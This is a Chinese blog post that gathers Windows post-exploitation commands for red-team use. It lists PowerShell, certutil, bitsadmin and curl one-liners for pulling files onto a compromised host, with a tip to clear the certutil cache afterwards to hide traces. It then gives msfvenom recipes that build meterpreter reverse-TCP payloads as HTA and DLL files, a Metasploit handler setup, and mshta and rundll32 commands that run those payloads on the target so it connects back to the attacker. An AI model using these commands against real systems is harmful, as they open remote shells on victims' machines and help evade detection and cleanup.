Windows 远程下载文件和上线msf命令汇总

Windows 远程下载文件和上线msf命令汇总

攻防中拿到Windows主机的权限后都需要下载文件到目标机器上,本文尽可能汇总Windows上所有自带的可下载命令。

总结到一半,发现 https://lolbas-project.github.io/ 这个项目总结太全面,后续Windows上的下载执行命令都可以在上面查漏补缺。

下载命令

  • powershell
    • Invoke-WebRequest
    • System.Net.WebClient
    • Start-BitsTransfer
    • System.Net.WebRequest
    • Invoke-RestMethod
    • System.Net.Http
    • System.Net.HttpClient
  • cmd
    • bitsadmin
    • certutil
    • curl
  • 不能直接下载文件,但可以执行上线的命令
    • mshta
    • rundll32
    • regsvr32

powershell 下载

Invoke-WebRequest

Invoke-WebRequest -Uri "https://example.com/file.zip" -OutFile "C:\Path\to\save\file.zip"

System.Net.WebClient

(New-Object System.Net.WebClient).DownloadFile("https://example.com/file.zip", "C:\Path\to\save\file.zip")

Start-BitsTransfer

Start-BitsTransfer -Source "https://example.com/file.zip" -Destination "C:\Path\to\save\file.zip"

System.Net.WebRequest

$response = [System.Net.WebRequest]::Create('https://example.com/file.zip').GetResponse(); $stream = $response.Get
ResponseStream(); $readStream = New-Object System.IO.StreamReader $stream; $result = $readStream.ReadToEnd(); $readStrea
m.Close(); $response.Close(); [System.IO.File]::WriteAllText('C:\Path\to\save\file.zip', $result)

Invoke-RestMethod

Invoke-RestMethod -Uri "https://example.com/file.zip" -OutFile "C:\Path\to\save\file.zip"

System.Net.Http

Add-Type -AssemblyName System.Net.Http; (New-Object System.Net.Http.HttpClient).GetStringAsync('https://example.com/file.zip').Result | Set-Content -Path 'C:\Path\to\save\file.zip'

System.Net.HttpClient

(New-Object System.Net.Http.HttpClient).GetAsync('https://example.com/file.zip').Result.Content.ReadAsByteArrayAsync().Result | Set-Content -Path 'C:\Path\to\save\file.zip' -Encoding Byte

CMD 下载

bitsadmin

bitsadmin /transfer myDownloadJob /download /priority normal http://example.com/file.zip C:\path\to\file.zip

经测试,在win10以上的系统中bitsadmin无法正常使用。注意,bitsadmin是Windows 7和Windows Server 2008中的一部分,但在Windows 10和更高版本中已被弃用。

certutil

certutil -urlcache -split -f https://example.com/file.zip C:\Path\to\save\file.zip

由于certutil下载文件都会留下缓存,所以建议下载完文件后对缓存进行删除。

默认情况下,缓存目录的位置如下:

  • Windows 7/8/8.1:%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
  • Windows 10:%USERPROFILE%\AppData\Local\Microsoft\CryptnetUrlCache\Content

%USERPROFILE%是用户的个人文件夹路径(通常为C:\Users\<username>),根据Windows版本和用户名可能会有所不同。

certutil -urlcache -split -f https://example.com/file.zip delete

curl

在一些高版本的Windows系统中才有curl命令。

curl -sk "https://example.com/file.zip"  -o "C:\Path\to\save\file.zip"

不能直接下载文件,但可以执行上线的命令

下面的命令中,全部统一使用msf的meterpreter反向tcp。

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4444
run

mshta

MSHTA是Windows内置的一个程序,主要用于执行HTA程序。MSHTA可以直接执行远端的HTAHTA程序,可以包括VBScript、JScript等代码,以此执行命令通过MSHTA运行HTA程序执行命令的方式,可以加载本地受限应用,以此绕过应用白名单限制MSHTA在浏览器外部运行,因此也可绕过浏览器安全设置。

mshta 我个人感觉就是一个浏览器,但是权限又比浏览器要大。

mshta https://zgao.top

像浏览器一样请求远端的url,可以通过mshta执行恶意的payload,但是没办法将文件直接下载到本地。

mshta 上线msf

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<你的IP地址> LPORT=<你的端口号> -f hta-psh > output.hta
python3 -m http.server 

在目标Windows上执行

mshta http://ip:8000/output.hta

rundll32

Rundll32.exe功能是以命令行的方式调用动态链接程序库。然而rundll32.exe并不直接支持从远程位置(如网络共享或HTTP服务器)加载DLL。

用msf生成恶意的dll执行上线。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<你的IP地址> LPORT=<你的端口号> -f dll > output.dll

在目标Windows上执行,dll后面是执行的方法名。

rundll32.exe output.dll,Control_RunDLL

赞赏

微信赞赏支付宝赞赏

Zgao

愿有一日,安全圈的师傅们都能用上Zgao写的工具。

发表评论